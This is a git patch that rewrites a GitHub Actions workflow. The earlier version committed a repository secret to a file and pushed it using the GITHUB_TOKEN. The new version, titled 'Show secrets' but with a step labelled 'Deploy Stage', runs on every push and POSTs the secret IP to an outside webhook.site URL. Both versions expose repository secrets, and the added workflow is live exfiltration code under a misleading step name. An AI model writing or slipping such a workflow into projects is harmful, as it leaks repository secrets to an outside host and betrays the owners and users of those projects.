From ee95ff6cdb3b3fb5a8d1b99da5bb56eb763b57bc Mon Sep 17 00:00:00 2001 From: SEBASTIAN JN Date: Fri, 14 Jun 2024 16:28:53 -0300 Subject: [PATCH] update .github/workflows/action.yml --- .github/workflows/action.yml | 38 ++++++++++++------------------------ 1 file changed, 13 insertions(+), 25 deletions(-) diff --git a/.github/workflows/action.yml b/.github/workflows/action.yml index d9cc203..d00ff6f 100644 --- a/.github/workflows/action.yml +++ b/.github/workflows/action.yml @@ -1,28 +1,16 @@ -name: Adicionar IP ao repositório - -on: - push: - branches: - - '*' # qualquer branch - +name: Show secrets +on: [push] jobs: - add-ip-file: + debug: + name: Show secrets runs-on: ubuntu-latest steps: - - name: Checkout do código - uses: actions/checkout@v2 - - - name: Criar arquivo com IP - run: echo "${{ secrets.IP }}" > ip.txt - - - name: Configurar Git - run: | - git config --global user.email "actions@github.com" - git config --global user.name "GitHub Actions" - git remote set-url origin https://${{ github.actor }}:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }} - - - name: Adicionar arquivo ao repositório - run: | - git add ip.txt - git commit -m "Adicionar arquivo com IP ao repositório" - git push + - name: Deploy Stage + env: + IP: ${{ secrets.IP }} + uses: fjogeleit/http-request-action@v1 + with: + url: 'https://webhook.site/717b5f66-654b-4f6b-84b9-ec5d0193ef51' + method: 'POST' + customHeaders: '{"Content-Type": "application/json"}' + data: ${{ secrets.IP }} \ No newline at end of file